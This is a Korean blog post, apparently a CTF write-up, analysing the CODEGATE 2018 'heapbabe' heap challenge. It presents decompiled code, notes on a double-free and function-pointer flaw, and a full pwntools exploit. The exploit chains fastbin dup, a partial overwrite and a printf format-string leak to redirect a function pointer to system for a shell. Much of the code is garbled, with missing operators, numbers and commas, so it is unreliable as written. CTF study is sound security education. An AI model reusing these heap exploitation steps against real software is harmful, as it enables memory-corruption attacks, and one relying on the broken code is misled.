ipwn

[CODAGATE 2018] heapbabe 본문

CTF's/CODEGATE

[CODAGATE 2018] heapbabe

ipwn 2018. 11. 13. 17:23

보호기법




다 걸려있다.



분석



void __cdecl alloc()
{
  signed int i; // [rsp+4h] [rbp-102Ch]
  heap *ptr; // [rsp+8h] [rbp-1028h]
  char *alloc_buf; // [rsp+10h] [rbp-1020h]
  size_t nbytes; // [rsp+18h] [rbp-1018h]
  size_t read_buf_len; // [rsp+18h] [rbp-1018h]
  char read_buf[4096]; // [rsp+20h] [rbp-1010h]
  unsigned __int64 v6; // [rsp+1028h] [rbp-8h]
 
  v6 = __readfsqword(0x28u);
  ptr = malloc(0x20uLL);
  printf("- size : ");
  nbytes = read_int();
  if ( nbytes <= 0x1000 )
  {
    printf("- contents : ");
    if ( read(0, read_buf, nbytes) == -)
    {
      puts("** Invalid contents **");
      exit(1);
    }
    read_buf_len = strlen(read_buf);
    if ( read_buf_len > 0xF )
    {
      alloc_buf = malloc(read_buf_len);
      if ( !alloc_buf )
      {
        puts("** Failed to malloc **");
        exit(1);
      }
      strncpy(alloc_buf, read_buf, read_buf_len);
      *ptr->buf = alloc_buf;
      ptr->func = free_ref;
    }
    else
    {
      strncpy(ptr->buf, read_buf, read_buf_len);
      ptr->func = free_self;
    }
    ptr->nbytes = read_buf_len;
    for ( i = 0; i <= 7++i )
    {
      if ( !heap_arr[i].freed )                 // freed라면 ptr 집어넣음
      {
        heap_arr[i].freed = 1;
        heap_arr[i].heap = ptr;
        break;
      }
    }
    if ( i == )
    {
      puts("** No more space to alloc... **");
      (ptr->func)(ptr, read_buf);
    }
  }
  else
  {
    puts("** Invalid size **");
    free(ptr);
  }
}


0. 기본적으로 0x20 size heap allocate

1. heap은 전역변수로 관리

2. 0xf보다 size가 크면 기본적으로 allocate 된 heap 안에 heap allocate -> malloc한 heap안에 heap pointer 집어넣음.

3. 그렇지 않으면 그냥 기본적으로 allocate 된 heap에 쭉 이어적음 -> heap overflow는 나지 않음.

4. any size allocatable -> 모든 기법들을 고려해야 함.

5. 기본적으로 allocate 된 heap 안에 함수 포인터 집어넣음. -> overwrite 할 vector가 있지 않을까?


void __fastcall free_ref(void **a1)
{
  free(*a1);
  free(a1);
}



void __fastcall free_self(void *a1)
{
  free(a1);
}


free_ref과 free_self는 각각 위와 같은 구조.


void __cdecl delete()
{
  int idx; // [rsp+Ch] [rbp-D4h]
  char buf[192]; // [rsp+10h] [rbp-D0h]
  unsigned __int64 v2; // [rsp+D8h] [rbp-8h]
 
  v2 = __readfsqword(0x28u);
  printf("- id : ");
  idx = read_int();
  if ( idx >= && idx <= 16 )
  {
    if ( heap_arr[idx].heap )                   // free됐는지 검사 X
    {
      printf("Type 'DELETE' if you really want to free : ");
      read(0, buf, 0xC0uLL);
      if ( !strncmp(buf, "DELETE", 6uLL) )
      {
        (heap_arr[idx].heap->func)(heap_arr[idx].heap, "DELETE");
        heap_arr[idx].freed = 0;
      }
      else
      {
        puts("Cancelled.");
      }
    }
    else
    {
      puts("** No buffer exists **");
    }
  }
  else
  {
    puts("** Invalid id **");
  }
}


0. free됐는지 검사 X -> fastbin dup등등 여러 기법들 사용 가능

1. function pointer로 함수 call함 -> 함수 포인터를 조작하면 되지 않을까?

2. free 한 후에 전역 변수에서 heap pointer를 남겨놓음





시나리오



libc_leak ? 


만들어진 함수 중에는 heap contents 내용을 print해주는 함수가 따로 없음.


How to ? 


0. fastbin dup 혹은 Use-After-Free 로 function pointer가 들어있는 heap을 overwrite할 수 있음.

1. PIE를 우회 해야 원하는 함수를 실행하도록 flow를 조작할 수 있음.

2. PIE, aslr이 걸려있더라도 하위 1.5byte가 일정함을 이용해 하위 1byte만 덮어서 원하는 함수를 call하는 부분으로 바꿔줄 수 있음

3. 위를 통해서 code base leak

4. 똑같은 방법으로 libc도 leak



Exploit ? 


0x68등, 원하는 size만큼 할당한 heap은 double free가 불가능 함 -> malloc_hook 못 덮음


How to ? 


0. 0x20의 기본 allocate 된 heap은 fastbin duplicate 할 수 있음

1. 기본 allocate 된 heap의 function pointer을 system or one_shot gadget으로 overwrite

2. Get Shell!





solve.py





from pwn import *
 
= process('./heapbabe')
 
def add(size, contents):
    p.sendlineafter('> ''A')
    p.sendlineafter(':'str(size))
    p.sendafter(':', contents)
 
def free(idx):
    p.sendlineafter('> ''F')
    p.sendlineafter(':'str(idx))
    p.sendafter(':''DELETE')
 
cmd = '/bin/sh;'
 
#code_leak
add(0xf"\x00"# 0 
add(0xf"\x00"# 1
free(0)
free(1)
free(0)
add(0x20"A"*0x18 + "\xaa")
free(1)
p.recvuntil('A'*0x18)
code_base = u64(p.recv(6+ '\x00\x00'- 0xcaa
printf = code_base + 0xDF0
log.info('code_base : ' + hex(code_base))
log.info('printf : ' + hex(printf))
free(0)
#code_leak
 
#libc_leak
add(0x20'%4$lx'*+ 'AAAA' + p64(printf))
free(1)
p.recv(1)
p.sendline('')
libc_base = int(p.recv(12),16- 0x5ca700
system = libc_base + 0x45390
log.info('libc_base : ' + hex(libc_base))
log.info('system : ' + hex(system))
free(0)
#libc_leak
 
#exploit
add(0x20, cmd + 'A'*(0x20 - 0x8 - len(cmd)) + p64(system)) # 0
free(1)
#exploit
 
p.interactive()



재미있는 문제였다.

'CTF's > CODEGATE' 카테고리의 다른 글

[CODEGATE 2019] aeiou  (0) 2019.03.17
[CODEGATE 2015] yocto (RTDL)  (0) 2019.01.05
[CODEGATE 2018] catshop  (0) 2018.05.17
[CODEGATE 2018] betting  (0) 2018.05.17
[CODEGATE 2016] bugbug  (0) 2018.03.26
Comments